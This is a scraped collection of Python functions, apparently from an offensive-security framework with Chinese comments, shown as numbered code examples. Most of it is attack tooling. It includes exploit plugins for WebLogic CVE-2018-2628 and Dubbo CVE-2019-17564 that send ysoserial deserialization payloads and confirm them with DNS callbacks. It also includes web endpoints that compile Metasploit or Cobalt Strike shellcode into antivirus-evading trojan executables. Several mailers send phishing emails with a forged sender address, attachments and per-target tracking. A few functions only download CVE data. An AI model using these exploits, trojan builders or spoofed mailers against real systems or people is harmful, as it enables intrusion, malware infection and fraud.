def medusa(Url:str,RandomAgent:str,proxies:str=None,**kwargs)->None:
    if proxies!=None:
        proxies_scheme, proxies_url, proxies_port = UrlProcessing().result(proxies)
        socks.set_default_proxy(socks.HTTP, addr=proxies_url, port=proxies_port)  # 设置socks代理
        socket.socket = socks.socksocket  # 把代理应用到socket

    scheme, url, port = UrlProcessing().result(Url)
    if port is None and scheme == 'https':
        port = 443
    elif port is None and scheme == 'http':
        port = 80
    else:
        port = port
    try:
        DL=Dnslog()
        JrmpPort = "2000"#端口随便
        JrmpClient = "JRMPClient"
        YsoserialPath=GetToolFilePath().Result()+"ysoserial.jar"
        TempPath=GetTempFilePath().Result()+str(int(time.time()))+"_"+randoms().result(10)
        con,payload=exploit(url, port, YsoserialPath, DL.dns_host(), JrmpPort, JrmpClient,TempPath)
        time.sleep(5)
        if DL.result():
            Medusa = "{}存在WeblogicWLS核心组件反序列化命令执行漏洞\r\n验证数据:\r\n使用POC:{}\r\n返回数据包:{}\r\nDNSlog内容:{}\r\nDNSlog返回结果:{}\r\n".format(url,payload,con,DL.dns_host(),DL.dns_text())
            _t = VulnerabilityInfo(Medusa)
            VulnerabilityDetails(_t.info, url,**kwargs).Write()  # 传入url和扫描到的数据
            WriteFile().result(str(url),str(Medusa))#写入文件,url为目标文件名统一传入,Medusa为结果
    except Exception as e:
        _ = VulnerabilityInfo('').info.get('algroup')
        ErrorHandling().Outlier(e, _)
        ErrorLog().Write("Plugin Name:"+_+" || Target Url:"+url,e)  # 调用写入类传入URL和错误插件名
Example #2
0
def NistInitialization():  #进行初始化处理
    TempFilePath = GetTempFilePath().Result()  # 获取TMP文件路径
    if not InitialVerification(TempFilePath):  #如果不存在初始化
        print("[ + ]正在初始化CVE数据库,请不要结束进程,强制结束会导致CVE数据库数据不全")
        Loop = asyncio.get_event_loop()
        NistTasks = [
            NistFirstRunDownload(Year, TempFilePath)
            for Year in range(2002,
                              datetime.datetime.now().year + 1)
        ]  #获取当前年份进行循环下载
        Loop.run_until_complete(asyncio.wait(NistTasks))
        Loop.close()  #下载完毕
        #进行数据写入

        for Year in range(2002, datetime.datetime.now().year + 1):  #下载完后再写入
            try:
                FileName = "nvdcve-1.1-" + str(Year) + ".json.zip"  # 下载文件名
                NistFirsRunProcessing(TempFilePath + FileName,
                                      FileName[:-4])  # 调用数据处理函数,传入文件路径和提取文件名
            except Exception as e:
                ErrorLog().Write(
                    "Web_CommonVulnerabilitiesAndExposuresMonitor_VulnerabilityNumberMonitoring_NistInitialization_NistInitialization(def)",
                    e)

        open(TempFilePath + "initialization.lock",
             'w+').write("Super Invincible Cute Pieck Finger")  #初始化后写入初始化锁
        print("CVE数据库初始化成功~")
Example #3
0
def ShellcodeToVirus(request):#shellcode转换生成病毒
    RequestLogRecord(request, request_api="shellcode_to_virus")
    if request.method == "POST":
        try:
            Token=json.loads(request.body)["token"]
            Shellcode = json.loads(request.body)["shellcode"]#shellcode字符串
            ShellcodeType = json.loads(request.body)["shellcode_type"]  # shellcode来着MSF还是CS
            Uid = UserInfo().QueryUidWithToken(Token)  # 如果登录成功后就来查询UID
            if Uid != None:  # 查到了UID
                UserOperationLogRecord(request, request_api="shellcode_to_virus", uid=Uid)
                TempFilePath = GetTempFilePath().Result()  # temp文件路径
                RandomName = randoms().EnglishAlphabet(5) + str(int(time.time()))  # 随机名称
                VirusOriginalFilePath = TempFilePath + RandomName + ".c"  # 病毒原始文件名
                VirusFileStoragePath = GetVirusFilePath().Result()  # 病毒文件存放路径
                VirusFileGenerationPath = VirusFileStoragePath + RandomName + ".exe"  # 病毒文件生成路径
                if sys.platform == "win32":
                    pass#windows的暂时没测试
                elif sys.platform == "linux":
                    CFile = open(VirusOriginalFilePath, "w+")
                    CFile.write(MSF_VirtualAllocEx.GenerateCode(Shellcode))#获取生成代码后写入文件中
                    CFile.close()
                    Command="i586-mingw32msvc-gcc -mwindows " + VirusOriginalFilePath + " -o " + VirusFileGenerationPath
                    RedisCompileCodeTask=CompileCode.delay(Command)
                    AntiAntiVirusData().Write(uid=Uid,shellcode_type=ShellcodeType,virus_original_file_name=RandomName + ".c",virus_generate_file_name=RandomName + ".exe",compilation_status="0",redis_id=RedisCompileCodeTask.task_id)
                    return JsonResponse({'message': "宝贝任务已下发~", 'code': 200, })
                else:
                    return JsonResponse({'message': "你的电脑不是Windows或者Linux无法使用该功能ლ(•̀ _ •́ ლ)", 'code': 600, })
            else:
                return JsonResponse({'message': "小宝贝这是非法请求哦(๑•̀ㅂ•́)و✧", 'code': 403, })
        except Exception as e:
            ErrorLog().Write("Web_AntiAntiVirus_GenerateVirusFiles_ShellcodeToVirus(def)", e)
            return JsonResponse({'message': "呐呐呐!莎酱被玩坏啦(>^ω^<)", 'code': 169, })

    else:
        return JsonResponse({'message': '请使用Post请求', 'code': 500, })
def medusa(**kwargs) -> None:
    Url = kwargs.get("Url")  # 获取传入的url参数
    Headers = kwargs.get("Headers")  # 获取传入的头文件
    proxies = kwargs.get("Proxies")  # 获取传入的代理参数
    scheme, url, port = UrlProcessing().result(Url)
    if port is None and scheme == 'https':
        port = 443
    elif port is None and scheme == 'http':
        port = 80
    else:
        port = port
    try:
        DL = Dnslog()
        JrmpPort = "2000"  #端口随便
        JrmpClient = "JRMPClient"
        YsoserialPath = GetToolFilePath().Result() + "ysoserial.jar"
        TempPath = GetTempFilePath().Result() + str(int(
            time.time())) + "_" + randoms().result(10)
        con, payload = exploit(url, port, YsoserialPath, DL.dns_host(),
                               JrmpPort, JrmpClient, TempPath)
        time.sleep(5)
        if DL.result():
            Medusa = "{}存在WeblogicWLS核心组件反序列化命令执行漏洞(CVE-2018-2628)\r\n验证数据:\r\n使用POC:{}\r\n返回数据包:{}\r\nDNSlog内容:{}\r\nDNSlog返回结果:{}\r\n".format(
                url, payload, con, DL.dns_host(), DL.dns_text())
            _t = VulnerabilityInfo(Medusa)
            VulnerabilityDetails(_t.info, "", **kwargs).Write()  # 传入url和扫描到的数据
            WriteFile().result(str(url),
                               str(Medusa))  #写入文件,url为目标文件名统一传入,Medusa为结果
    except Exception as e:
        _ = VulnerabilityInfo('').info.get('algroup')
        ErrorHandling().Outlier(e, _)
        ErrorLog().Write("Plugin Name:" + _ + " || Target Url:" + url,
                         e)  # 调用写入类传入URL和错误插件名
Example #5
0
def SendMail(MailMessage, Attachment, Image, MailTitle, Sender, GoalMailbox,
             ThirdParty, ForgedAddress):
    MailStatus = {}
    # 邮件内容
    TempFilePath = GetTempFilePath().Result()
    MailUploadFilePath = GetMailUploadFilePath().Result()  # 本地文件路径
    for Target in list(set(GoalMailbox)):  # 先去重,然后像多个目标发送
        try:
            EmailBox = MIMEMultipart()  # 创建容器

            EmailBox['From'] = Header(Sender + "<" + ForgedAddress + ">",
                                      'utf-8')  # 发送人
            EmailBox['To'] = Header(Target, 'utf-8')  # 发给谁
            EmailBox['Subject'] = Header(MailTitle, 'utf-8')  # 标题
            EmailBox["Accept-Language"] = "zh-CN"
            EmailBox["Accept-Charset"] = "ISO-8859-1,utf-8"
            # 消息正文
            TextMessage = MIMEMultipart('alternative')
            EmailBox.attach(TextMessage)
            TextMessage.attach(MIMEText(MailMessage, 'html', 'utf-8'))
            # 发送附件
            for i in Attachment:
                AttachmentTemp = TempFilePath + i  # 文件名字
                AttachmentName = MailUploadFilePath + Attachment[i]  # 文件真实名字
                shutil.copy(AttachmentName, AttachmentTemp)  # 复制到temp目录
                AttachmentData = MIMEApplication(
                    open(AttachmentTemp, 'rb').read())  # 使用temp文件的重命名文件进行发送
                AttachmentData.add_header('Content-Disposition',
                                          'attachment',
                                          filename=i)
                TextMessage.attach(AttachmentData)
            # 正文图片
            for x in Image:
                ImageTemp = TempFilePath + x  # 文件名字
                ImageName = MailUploadFilePath + Image[x]  # 文件真实名字
                shutil.copy(ImageName, ImageTemp)  # 复制到temp目录
                pic = MIMEApplication(open(ImageTemp, 'rb').read())
                pic.add_header("Content-Disposition", "attachment", filename=x)
                pic.add_header('Content-ID', '<' + x + '>')
                pic.add_header("X-Attachment-Id", "x")
                TextMessage.attach(pic)
            SMTP = smtplib.SMTP()
            if int(ThirdParty) == 1:  # 判断是否使用自建服务器
                SMTP.connect(third_party_mail_host, 25)  # 25 为 SMTP 端口号
                SMTP.login(third_party_mail_user, third_party_mail_pass)
                SMTP.sendmail(third_party_mail_user, Target,
                              EmailBox.as_string())
            else:
                SMTP.connect(local_mail_host, 25)  # 25 为 SMTP 端口号
                #SMTP.set_debuglevel(True)
                SMTP.sendmail(local_mail_user, Target, EmailBox.as_string())
            MailStatus[Target] = "1"  # 写到状态表中
            SMTP.quit()
            SMTP.close()
        except Exception as e:
            MailStatus[Target] = "0"
            ErrorLog().Write("Mail delivery failed->" + str(Target), e)
    MaliciousEmail().UpdateStatus(mail_status=json.dumps(MailStatus),
                                  redis_id=SendMail.request.id)  #更新数据库
Example #6
0
def SendMail(MailMessage, Attachment, MailTitle, Sender, GoalMailbox,
             ThirdParty, ForgedAddress):
    MailStatus = {}
    # 邮件内容
    TempFilePath = GetTempFilePath().Result()
    MailAttachmentFilePath = GetMailAttachmentFilePath().Result()  # 本地文件路径
    for Target in list(set(GoalMailbox)):  # 先去重,然后像多个目标发送
        try:
            EmailBox = MIMEMultipart()  # 创建容器
            EmailBox['From'] = Sender + "<" + ForgedAddress + ">"  # 发送人
            EmailBox['To'] = Target  # 发给谁
            EmailBox['Subject'] = Header(MailTitle, 'utf-8')  # 标题
            # 发送附件
            for i in Attachment:
                Temp = TempFilePath + i  # 文件名字
                AttachmentName = MailAttachmentFilePath + Attachment[
                    i]  # 文件真实名字
                shutil.copy(AttachmentName, Temp)  # 复制到temp目录
                AttachmentData = MIMEApplication(open(
                    Temp, 'rb').read())  # 使用temp文件的重命名文件进行发送
                AttachmentData.add_header('Content-Disposition',
                                          'attachment',
                                          filename=i)
                EmailBox.attach(AttachmentData)
            # 消息正文
            TextMessage = MIMEMultipart('alternative')
            EmailBox.attach(TextMessage)
            TextMessage.attach(MIMEText(MailMessage, 'html', 'utf-8'))
            # # 指定图片为当前目录
            # MailImageFilePath = GetMailImageFilePath().Result()
            # file = open(image_file, "rb")
            # img_data = file.read()
            # file.close()
            # img = MIMEImage(img_data)
            # img.add_header('Content-ID', 'dns_config')
            # EmailBox.attach(img)
            SMTP = smtplib.SMTP()
            if int(ThirdParty) == 1:  # 判断是否使用自建服务器
                SMTP.connect(third_party_mail_host, 25)  # 25 为 SMTP 端口号
                SMTP.login(third_party_mail_user, third_party_mail_pass)
                SMTP.sendmail(third_party_mail_user, Target,
                              EmailBox.as_string())
            else:
                SMTP.connect(local_mail_host, 25)  # 25 为 SMTP 端口号
                SMTP.sendmail(local_mail_user, Target, EmailBox.as_string())
            MailStatus[Target] = "1"  # 写到状态表中
            SMTP.quit()
            SMTP.close()
        except Exception as e:
            MailStatus[Target] = "0"
            ErrorLog().Write("Mail delivery failed->" + str(Target), e)
    MaliciousEmail().UpdateStatus(mail_status=json.dumps(MailStatus),
                                  redis_id=SendMail.request.id)  #更新数据库
def Run():
    TempFilePath = GetTempFilePath().Result()  # 获取TMP文件路径
    PluginsFilePath=GetPluginsFilePath().Result()#获取插件文件路径
    PluginsDB = Plugins()  # 初始化连接
    FileNameList=[]#文件名列表
    if not InitialVerification(TempFilePath):#如果不存在初始化
        PluginsDB.Initialization()#初始化清空数据库表
        for Data in os.walk(PluginsFilePath):
            for i in Data[2]:
                FileNameList.append((i,))
                if len(FileNameList) == 500:  # 500写入一次数据库
                    PluginsDB.Write(FileNameList)
                    FileNameList.clear()  # 写入后清空数据列表
        PluginsDB.Write(FileNameList)#函数循环结束后也写入一次数据库,防止不足500的数据没写入
        PluginsDB.con.close()#关闭数据库连接
        open(TempFilePath + "InitializationPlugin.lock", 'w+').write("Super Invincible Cute Neiru Aonuma")  # 初始化后写入初始化锁
Example #8
0
def medusa(Url:str,RandomAgent:str,proxies:str=None,**kwargs)->None:
    proxies=Proxies().result(proxies)
    scheme, url, port = UrlProcessing().result(Url)
    if port is None and scheme == 'https':
        port = 443
    elif port is None and scheme == 'http':
        port = 80
    else:
        port = port
    try:
        con=""
        payload = '/org.apache.dubbo.samples.http.api.DemoService'
        payload_url = scheme + "://" + url + ":" + str(port) + payload
        DL=Dnslog()
        JrmpClient = "CommonsCollections4"
        YsoserialPath=GetToolFilePath().Result()+"ysoserial.jar"
        TempPath=GetTempFilePath().Result()+str(int(time.time()))+"_"+randoms().result(10)
        data=generate_payload(YsoserialPath, "ping "+DL.dns_host(), JrmpClient,TempPath)
        headers = {
            'User-Agent': RandomAgent,
            "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
            "Accept-Encoding": "gzip, deflate",
        }
        try:
            resp = requests.post(payload_url,data=data,headers=headers, proxies=proxies, timeout=6, verify=False)
            con = resp.text
        except:
            pass
        if DL.result():
            Medusa = "{} 存在Dubbo反序列化漏洞(CVE-2019-17564)\r\n验证数据:\r\n返回DNSLOG:{}\r\n使用DNSLOG数据:{}\r\n返回数据包:{}\r\n".format(url,DL.dns_text(),DL.dns_host(),con)
            print(Medusa)
            _t = VulnerabilityInfo(Medusa)
            VulnerabilityDetails(_t.info, url,**kwargs).Write()  # 传入url和扫描到的数据
            WriteFile().result(str(url),str(Medusa))#写入文件,url为目标文件名统一传入,Medusa为结果
    except Exception as e:
        _ = VulnerabilityInfo('').info.get('algroup')
        ErrorHandling().Outlier(e, _)
        ErrorLog().Write("Plugin Name:"+_+" || Target Url:"+url,e)  # 调用写入类传入URL和错误插件名
Example #9
0
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import zipfile
import json
from Web.DatabaseHub import NistData
import urllib3
from ClassCongregation import GetTempFilePath, ErrorLog
from config import headers, nist_update_banner
import time
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TempFilePath = GetTempFilePath().Result()  # 获取TMP文件路径


def NistUpdateDownload():  #更新数据下载
    try:
        FileName = "nvdcve-1.1-" + str("modified") + ".json.zip"  #下载文件名
        SaveFileName = "nvdcve-1.1-" + str("modified") + str(int(
            time.time())) + ".json.zip"
        Url = "https://nvd.nist.gov/feeds/json/cve/1.1/" + FileName
        StartingTime = time.time()
        if nist_update_banner:
            print("[ + ] 正在重新下载文件:\033[36m" + FileName + "\033[0m")
        DownloadFile = requests.get(Url,
                                    headers=headers,
                                    verify=False,
                                    timeout=60)
        with open(TempFilePath + SaveFileName, 'wb+') as file:
            file.write(DownloadFile.content)
        if nist_update_banner:
            print("[ - ] 成功下载文件:\033[36m" + FileName + "\033[0m 耗时:\033[34m" +
Example #10
0
def ShellcodeToTrojan(request):  #shellcode转换生成病毒
    RequestLogRecord(request, request_api="shellcode_to_trojan")
    if request.method == "POST":
        try:
            Token = json.loads(request.body)["token"]
            Shellcode = json.loads(request.body)["shellcode"]  #shellcode字符串
            ShellcodeType = json.loads(
                request.body)["shellcode_type"]  #用来辨别MSF 还是CS
            ShellcodeArchitecture = json.loads(
                request.body)["shellcode_architecture"]  # 架构类型 X86或者X64
            Plugin = json.loads(request.body)["plugin"]  # 当前shellcode使用的插件
            Uid = UserInfo().QueryUidWithToken(Token)  # 如果登录成功后就来查询UID
            if Uid != None:  # 查到了UID
                UserOperationLogRecord(request,
                                       request_api="shellcode_to_trojan",
                                       uid=Uid)
                TrojanModulesFilePath = GetTrojanModulesFilePath().Result(
                )  #获取插件文件夹
                PluginList = os.listdir(TrojanModulesFilePath)  #获取文件夹中全部文件
                if Plugin.endswith(".py") and (
                        Plugin in PluginList):  #判断传入的是否是python插件,并且插件名称是否在列表中
                    try:
                        DynamicLoadingPluginPath = 'Web.TrojanOrVirus.Modules' + "." + Plugin.split(
                            '.')[0]  # 去除.py后缀然后进行路径拼接
                        ScriptModule = importlib.import_module(
                            DynamicLoadingPluginPath)  # 动态载入
                        TempFilePath = GetTempFilePath().Result()  # temp文件路径
                        RandomName = randoms().EnglishAlphabet(5) + str(
                            int(time.time()))  # 随机名称
                        VirusOriginalFilePath = TempFilePath + RandomName + ScriptModule.__language__  # 病毒原始文件名,后缀从插件中获取
                        VirusFileStoragePath = GetTrojanFilePath().Result(
                        )  # 病毒文件存放路径
                        VirusFileGenerationPath = VirusFileStoragePath + RandomName + ScriptModule.__process__  # 病毒文件生成路径
                        #需要判断语言类型然后对应不同的生成方式
                        if sys.platform == "win32":
                            # windows的暂时没测试
                            return JsonResponse({
                                'message': "暂不支持Windows免杀方式~敬请关注后续更新",
                                'code': 601,
                            })
                        elif sys.platform == "darwin" or sys.platform == "linux":  #判断当前运行的机器类型
                            File = open(VirusOriginalFilePath, "w+")
                            File.write(ScriptModule.main(
                                Shellcode))  #获取shellcode传入动态调用函数中,然后写入本地文件
                            File.close()
                            if ShellcodeArchitecture != "x86" and ShellcodeArchitecture != "x64":  #判断对应架构
                                return JsonResponse({
                                    'message': "暂不支持其他架构~",
                                    'code': 440,
                                })

                            elif ShellcodeArchitecture == "x86" or ShellcodeArchitecture == "x64":
                                Command = Language2Command["linux"][
                                    ScriptModule.__language__.split(
                                        '.')[1]][ShellcodeArchitecture][
                                            ScriptModule.__process__.split('.')
                                            [1]]  #通过文件中的语言类型和生成文件进行提取命令
                                if Command == None:
                                    return JsonResponse({
                                        'message': "呐呐呐!该种组合无法进行编译,请使用其他插件~",
                                        'code': 450,
                                    })
                                else:
                                    CompleteCommand = Command + VirusFileGenerationPath + " " + VirusOriginalFilePath  #进行命令拼接
                                    RedisCompileCodeTask = CompileCode.delay(
                                        CompleteCommand)
                                    TrojanData().Write(
                                        uid=Uid,
                                        shellcode_type=ShellcodeType,
                                        trojan_original_file_name=RandomName +
                                        ScriptModule.__language__,
                                        trojan_generate_file_name=RandomName +
                                        ScriptModule.__process__,
                                        compilation_status="0",
                                        redis_id=RedisCompileCodeTask.task_id,
                                        shellcode_architecture=
                                        ShellcodeArchitecture,
                                        plugin=ScriptModule.__heading__)

                                    return JsonResponse({
                                        'message': "宝贝任务已下发~",
                                        'code': 200,
                                    })
                        else:
                            return JsonResponse({
                                'message':
                                "你的电脑不是Mac或者Linux无法使用该功能ლ(•̀ _ •́ ლ)",
                                'code': 600,
                            })
                    except Exception as e:
                        ErrorLog().Write(
                            "Web_TrojanOrVirus_TrojanInterface_ShellcodeToTrojan(def)-Plugin",
                            e)
                        return JsonResponse({
                            'message': "呐呐呐!你这插件有问题呀!快上服务器看看是不是写错了",
                            'code': 197,
                        })
                else:
                    return JsonResponse({
                        'message': "小伙子不要搞事情嗷,你不看看插件是否传入正确ლ(•̀ _ •́ ლ)",
                        'code': 430,
                    })
            else:
                return JsonResponse({
                    'message': "小宝贝这是非法请求哦(๑•̀ㅂ•́)و✧",
                    'code': 403,
                })
        except Exception as e:
            ErrorLog().Write(
                "Web_TrojanOrVirus_TrojanInterface_ShellcodeToTrojan(def)", e)
            return JsonResponse({
                'message': "呐呐呐!莎酱被玩坏啦(>^ω^<)",
                'code': 169,
            })
    else:
        return JsonResponse({
            'message': '请使用Post请求',
            'code': 500,
        })
Example #11
0
def SendMail(MailMessage, Attachment, Image, MailTitle, Sender, GoalMailbox,
             ForgedAddress, Interval, Key):

    # 邮件内容
    TempFilePath = GetTempFilePath().Result()
    MailUploadFilePath = GetMailUploadFilePath().Result()  # 本地文件路径
    for Department in GoalMailbox:  #循环获取部门
        for Target in GoalMailbox[Department]:  # 向多个目标发送
            time.sleep(float(Interval))  #邮件发送间隔
            MD5 = hashlib.md5(Target.encode()).hexdigest()  #计算文件MD5值
            try:
                EmailBox = MIMEMultipart()  # 创建容器

                EmailBox['From'] = Header(Sender + "<" + ForgedAddress + ">",
                                          'utf-8')  # 发送人
                EmailBox['To'] = Header(Target)  # 发给谁
                EmailBox['Subject'] = Header(MailTitle, 'utf-8')  # 标题
                EmailBox["Accept-Language"] = "zh-CN"
                EmailBox["Accept-Charset"] = "ISO-8859-1,utf-8"
                # 消息正文
                TextMessage = MIMEMultipart('alternative')
                EmailBox.attach(TextMessage)
                MailMessage = Template(MailMessage).render(
                    md5=MD5)  #对里面的模板进行处理,目前固定为{{ md5 }}占位符
                TextMessage.attach(MIMEText(MailMessage, 'html', 'utf-8'))
                # 发送附件
                for i in Attachment:
                    AttachmentTemp = TempFilePath + i  # 文件名字
                    AttachmentName = MailUploadFilePath + Attachment[
                        i]  # 文件真实名字
                    shutil.copy(AttachmentName, AttachmentTemp)  # 复制到temp目录
                    AttachmentData = MIMEApplication(
                        open(AttachmentTemp,
                             'rb').read())  # 使用temp文件的重命名文件进行发送
                    AttachmentData.add_header('Content-Disposition',
                                              'attachment',
                                              filename=i)
                    TextMessage.attach(AttachmentData)
                # 正文图片
                for x in Image:
                    ImageTemp = TempFilePath + x  # 文件名字
                    ImageName = MailUploadFilePath + Image[x]  # 文件真实名字
                    shutil.copy(ImageName, ImageTemp)  # 复制到temp目录
                    pic = MIMEApplication(open(ImageTemp, 'rb').read())
                    pic.add_header("Content-Disposition",
                                   "attachment",
                                   filename=x)
                    pic.add_header('Content-ID', '<' + x + '>')
                    pic.add_header("X-Attachment-Id", "x")
                    TextMessage.attach(pic)
                SMTP = smtplib.SMTP()
                if email_test:  #判断是否测试用例
                    SMTP.connect(third_party_mail_host, 25)  # 25 为 SMTP 端口号
                    SMTP.login(third_party_mail_user, third_party_mail_pass)
                    SMTP.sendmail(third_party_mail_user, Target,
                                  EmailBox.as_string())
                else:
                    SMTP.connect(local_mail_host, 25)  # 25 为 SMTP 端口号
                    #SMTP.set_debuglevel(True)
                    SMTP.sendmail(local_mail_user, Target,
                                  EmailBox.as_string())
                SMTP.quit()
                SMTP.close()
                EmailDetails().Write(email=Target,
                                     email_md5=MD5,
                                     status="1",
                                     project_key=Key,
                                     department=Department)
            except Exception as e:
                ErrorLog().Write("Mail delivery failed->" + str(Target), e)
                EmailDetails().Write(email=Target,
                                     email_md5=MD5,
                                     status="-1",
                                     project_key=Key,
                                     department=Department)
    EmailProject().ProjectCompletion(redis_id=SendMail.request.id)  #修改为完工
Example #12
0
def ShellcodeToTrojan(request):  ##shellcode转换生成病毒
    RequestLogRecord(request, request_api="shellcode_to_trojan")
    if request.method == "POST":
        try:
            Token = json.loads(request.body)["token"]
            ShellcodeName = json.loads(request.body)["shellcode_name"]  # 项目名字
            Shellcode = json.loads(request.body)["shellcode"]  #shellcode字符串
            ShellcodeType = json.loads(
                request.body)["shellcode_type"]  #用来辨别MSF 还是CS
            ShellcodeArchitecture = json.loads(
                request.body)["shellcode_architecture"]  # 架构类型 X86或者X64
            Plugin = json.loads(request.body)["plugin"]  # 当前shellcode使用的插件
            Uid = UserInfo().QueryUidWithToken(Token)  # 如果登录成功后就来查询UID
            if Uid != None:  # 查到了UID
                UserOperationLogRecord(request,
                                       request_api="shellcode_to_trojan",
                                       uid=Uid)
                TrojanModulesFilePath = GetTrojanModulesFilePath().Result(
                )  #获取插件文件夹
                PluginList = os.listdir(TrojanModulesFilePath)  #获取文件夹中全部文件
                try:
                    if ShellcodeName == "":  #判断是否有名字
                        return JsonResponse({
                            'message': "未传入项目名称!",
                            'code': 410,
                        })
                    else:
                        if Plugin in PluginList:  #判断传入的是否是python插件,并且插件名称是否在列表中
                            try:
                                TrojanPluginsPath = GetTrojanPluginsPath(
                                ).Result()  # 获取插件路径
                                YamlRawData = yaml.safe_load(
                                    open(TrojanPluginsPath +
                                         Plugin))  # 读取yaml文件
                                TempFilePath = GetTempFilePath().Result(
                                )  # temp文件路径
                                RandomName = randoms().EnglishAlphabet(
                                    5) + str(int(time.time()))  # 随机名称
                                SourceFileSuffix = YamlRawData.get(
                                    'language')  #获取源文件后缀
                                GenerateFileSuffix = YamlRawData.get(
                                    'process')  #获取生成文件后缀
                                BuildCommand = YamlRawData.get(
                                    'build')  # 获取自定义新增编译命令
                                TrojanPluginsName = YamlRawData.get(
                                    'name')  # 获取插件名
                                VirusOriginalFilePath = TempFilePath + RandomName + "." + SourceFileSuffix  # 病毒原始文件名,后缀从插件中获取
                                VirusFileStoragePath = GetTrojanFilePath(
                                ).Result()  # 病毒文件存放路径
                                VirusFileGenerationPath = VirusFileStoragePath + RandomName + "." + GenerateFileSuffix  # 病毒文件生成路径
                                #需要判断语言类型然后对应不同的生成方式
                                if sys.platform == "win32":
                                    # windows的暂时没测试
                                    return JsonResponse({
                                        'message': "暂不支持Windows免杀方式~敬请关注后续更新",
                                        'code': 601,
                                    })
                                elif sys.platform == "darwin" or sys.platform == "linux":  #判断当前运行的机器类型
                                    File = open(VirusOriginalFilePath, "w+")
                                    #需要判断插件语言类型,进行针对处理
                                    if SourceFileSuffix.lower(
                                    ) == "c" or SourceFileSuffix.lower(
                                    ) == "cpp":  #如果是c或者cpp
                                        File.write(
                                            Cpp.Run(shellcode=Shellcode,
                                                    yaml_raw_data=YamlRawData)
                                        )  # 获取shellcode传入动态调用函数中,然后写入本地文件
                                    elif SourceFileSuffix.lower(
                                    ) == "go":  #如果是go
                                        File.write(
                                            Go.Run(shellcode=Shellcode,
                                                   yaml_raw_data=YamlRawData))
                                    else:
                                        return JsonResponse({
                                            'message': "插件语言不在支持列表中",
                                            'code': 490,
                                        })
                                    File.close()
                                    if ShellcodeArchitecture != "x86" and ShellcodeArchitecture != "x64":  #判断对应架构
                                        return JsonResponse({
                                            'message': "暂不支持其他架构~",
                                            'code': 440,
                                        })

                                    elif ShellcodeArchitecture == "x86" or ShellcodeArchitecture == "x64":
                                        Command = Language2Command["linux"][
                                            SourceFileSuffix][
                                                ShellcodeArchitecture][
                                                    GenerateFileSuffix]  #通过文件中的语言类型和生成文件进行提取命令
                                        if Command == None:
                                            return JsonResponse({
                                                'message':
                                                "呐呐呐!该种组合无法进行编译,请使用其他插件~",
                                                'code': 450,
                                            })
                                        elif BuildCommand is not None:  #判断有没有在原始编译命令上新增的编译操作

                                            if Command.find(
                                                    " -o ") != -1:  #提取输出命令
                                                Command = Command.replace(
                                                    " -o ", " " +
                                                    BuildCommand + " -o ")
                                            elif Command.find(
                                                    " --out:") != -1:  #提取输出命令
                                                Command = Command.replace(
                                                    " --out:", " " +
                                                    BuildCommand + " --out:")

                                        CompleteCommand = Command + VirusFileGenerationPath + " " + VirusOriginalFilePath  #进行命令拼接
                                        RedisCompileCodeTask = CompileCode.delay(
                                            CompleteCommand)
                                        TrojanData().Write(
                                            uid=Uid,
                                            shellcode_type=ShellcodeType,
                                            shellcode_name=ShellcodeName,
                                            trojan_original_file_name=RandomName
                                            + "." + SourceFileSuffix,
                                            trojan_generate_file_name=RandomName
                                            + "." + GenerateFileSuffix,
                                            compilation_status="0",
                                            redis_id=RedisCompileCodeTask.
                                            task_id,
                                            shellcode_architecture=
                                            ShellcodeArchitecture,
                                            plugin=TrojanPluginsName)

                                        return JsonResponse({
                                            'message': "宝贝任务已下发~",
                                            'code': 200,
                                        })
                                else:
                                    return JsonResponse({
                                        'message':
                                        "你的电脑不是Mac或者Linux无法使用该功能ლ(•̀ _ •́ ლ)",
                                        'code': 600,
                                    })
                            except Exception as e:
                                ErrorLog().Write(
                                    "Web_TrojanOrVirus_TrojanInterface_ShellcodeToTrojan(def)-Plugin",
                                    e)
                                return JsonResponse({
                                    'message': "呐呐呐!你这插件有问题呀!快上服务器看看是不是写错了",
                                    'code': 197,
                                })
                        else:
                            return JsonResponse({
                                'message':
                                "小伙子不要搞事情嗷,你不看看插件是否传入正确ლ(•̀ _ •́ ლ)",
                                'code': 430,
                            })

                except Exception as e:
                    ErrorLog().Write(
                        "Web_TrojanOrVirus_TrojanInterface_ShellcodeToTrojan(def)-TrojanClass",
                        e)
                    return JsonResponse({
                        'message': "呐呐呐!未知错误內~",
                        'code': 161,
                    })
            else:
                return JsonResponse({
                    'message': "小宝贝这是非法请求哦(๑•̀ㅂ•́)و✧",
                    'code': 403,
                })
        except Exception as e:
            ErrorLog().Write(
                "Web_TrojanOrVirus_TrojanInterface_ShellcodeToTrojan(def)", e)
            return JsonResponse({
                'message': "呐呐呐!莎酱被玩坏啦(>^ω^<)",
                'code': 169,
            })
    else:
        return JsonResponse({
            'message': '请使用Post请求',
            'code': 500,
        })